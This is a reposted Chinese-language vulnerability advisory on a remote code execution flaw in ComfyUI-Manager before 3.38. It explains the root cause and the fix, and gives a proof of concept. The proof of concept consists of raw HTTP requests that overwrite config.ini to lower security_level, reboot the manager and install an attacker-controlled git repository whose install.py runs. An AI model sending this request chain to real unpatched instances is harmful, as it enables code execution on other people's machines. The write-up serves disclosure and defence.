文章总结: ComfyUI-Manager存在远程代码执行漏洞(CVE影响版本3.38前),根本原因是/app/user/default目录未受保护且ComfyUI无身份验证机制。攻击者利用/userdata端点覆盖config.ini降低security_level,绕过is_allowed_security_level检查后调用/api/customnode/install/git_url加载恶意仓库的install.py实现RCE。利用前提为启用远程访问且ComfyUI低于v0.3.76。修复方案为引入系统用户保护API并将数据目录移至受保护路径。文档提供完整攻击链和概念验证代码。 综合评分: 88 文章分类: 漏洞分析,AI安全,应用安全,渗透测试,漏洞POC
ComfyUI-Manager远程代码执行分析及概念验证
Ots安全
2026年3月24日 14:33 广东
威胁简报
恶意软件
漏洞攻击
组件概述
ComfyUI 是一个开源的基于节点的稳定扩散推理框架,它通过 Web 服务器提供 AI 图像生成功能。ComfyUI-Manager 是其配套的扩展管理器,与 ComfyUI 运行在同一进程中,用于安装和管理自定义节点。由于 ComfyUI-Manager 被广泛用作默认管理工具,其安全问题可能会直接影响整个 ComfyUI 实例。
受影响版本
- comfyui-manager [*, 3.38)
利用前提条件
- ComfyUI 启动时需要显式启用远程访问(例如,–listen 0.0.0.0);否则它只会监听本地主机。
- ComfyUI < v0.3.76 和系统用户保护 API 已禁用(ComfyUI < v0.3.76 默认情况下不启用它)。
环境设置
Dockerfile:
FROM python:3.10-slim
WORKDIR /appRUN apt update && apt install -y git
# ComfyUIRUN git clone https://github.com/comfyanonymous/ComfyUI.git . \ && git checkout v0.3.68
# ComfyUI-ManagerRUN git clone https://github.com/ltdrdata/ComfyUI-Manager.git custom_nodes/ComfyUI-Manager \ && cd custom_nodes/ComfyUI-Manager \ && git checkout 3.37
RUN pip install --no-cache-dir torch==2.1.2+cpu -f https://download.pytorch.org/whl/torch_stable.htmlRUN pip install --no-cache-dir -r requirements.txt
EXPOSE 8188CMD ["python", "main.py", "--cpu", "--listen", "0.0.0.0"]
构建并运行:
docker build -t comfyui-0368-mgr337 .docker run -p 8188:8188 comfyui-0368-mgr337
访问http://127.0.0.1:8188/并点击管理器。
根本原因分析
在 ComfyUI v0.3.76 之前的版本中,该/app/user/default目录未受保护,且 ComfyUI 本身没有身份验证机制。攻击者可以利用该/userdata/{file}端点上传并覆盖文件/app/user/default/ComfyUI-Manager/config.ini,从而降低security_level并启用 Manager API,最终导致命令执行。例如,/api/customnode/install/git_url处理程序:
@routes.post("/customnode/install/git_url")async def install_custom_node_git_url(request): if not is_allowed_security_level('high'): logging.error(SECURITY_MESSAGE_NORMAL_MINUS) return security_403_response()
url = await request.text() res = await core.gitclone_install(url)
if res.action == 'skip': logging.info(f"\nAlready installed: '{res.target}'") return web.Response(status=200) elif res.result: logging.info("\nAfter restarting ComfyUI, please refresh the browser.") return web.Response(status=200)
logging.error(res.msg) return web.Response(status=400)def is_allowed_security_level(level): if level == 'block': return False elif level == 'high': if is_local_mode: return core.get_config()['security_level'] in ['weak', 'normal-'] else: return core.get_config()['security_level'] == 'weak' elif level == 'middle': return core.get_config()['security_level'] in ['weak', 'normal', 'normal-'] else: return True
is_allowed_security_level(‘high’)只需security_level处于本地模式即可。通过覆盖配置并将从更改为,处理程序会继续执行,从而执行攻击者控制的存储库中的,实现远程代码执行weak( RCE)。normal-security_levelnormalweakcore.gitclone_install(url)install.py
修复提交:https://github.com/Comfy-Org/ComfyUI-Manager/pull/2338/commits/e44c5cef58fb4973670b86433b9d24d077b44a26
该修复程序引入了系统用户保护 API,并将管理器数据目录移动到受保护的路径user/__manager/,从而防止任意上传覆盖配置并阻止此 RCE 路径。
概念验证
攻击链:
Unprotected /app/user/default→ /userdata/{file} overwrites ComfyUI-Manager/config.ini→ Lower security_level→ Bypass is_allowed_security_level('high')→ Call core.gitclone_install(url)→ Execute remote install.py→ RCE
1.config.ini通过 ComfyUI API读取GET /userdata/{file}:
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1Host: 127.0.0.1:8188Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Connection: closeCache-Control: max-age=0
2.ComfyUI-Manager/config.ini通过以下方式覆盖POST /userdata/…并设置security_level为weak:
POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1Host: 127.0.0.1:8188Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 453
[default]preview_method = nonegit_exe = use_uv = Truechannel_url = https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/mainshare_option = allbypass_ssl = Falsefile_logging = Truecomponent_policy = workflowupdate_policy = stable-comfyuiwindows_selector_event_loop_policy = Falsemodel_download_by_agent = Falsedowngrade_blacklist = security_level = weakalways_lazy_install = Falsenetwork_mode = publicdb_mode = cache
配置已成功覆盖:
3.重启以应用配置,然后触发管理器 API 加载攻击者控制的存储库并执行install.py:
GET /api/manager/reboot HTTP/1.1Host: 127.0.0.1:8188Cache-Control: max-age=0sec-ch-ua-platform: "Windows"Comfy-User: Accept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8188/Accept-Encoding: gzip, deflate, brCookie: lang=zh-CN; prefsHttp={}; tenantId=defaultConnection: keep-alive
创建一个包含恶意代码的远程GitHub仓库:
加载并执行恶意代码库:
POST /api/customnode/install/git_url HTTP/1.1Host: 127.0.0.1:8188Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: text/plain;charset=UTF-8Content-Length: 55
https://github.com/xxxx/xxxx-Test.git
命令执行成功,并写入文件:
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《ComfyUI-Manager远程代码执行分析及概念验证》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论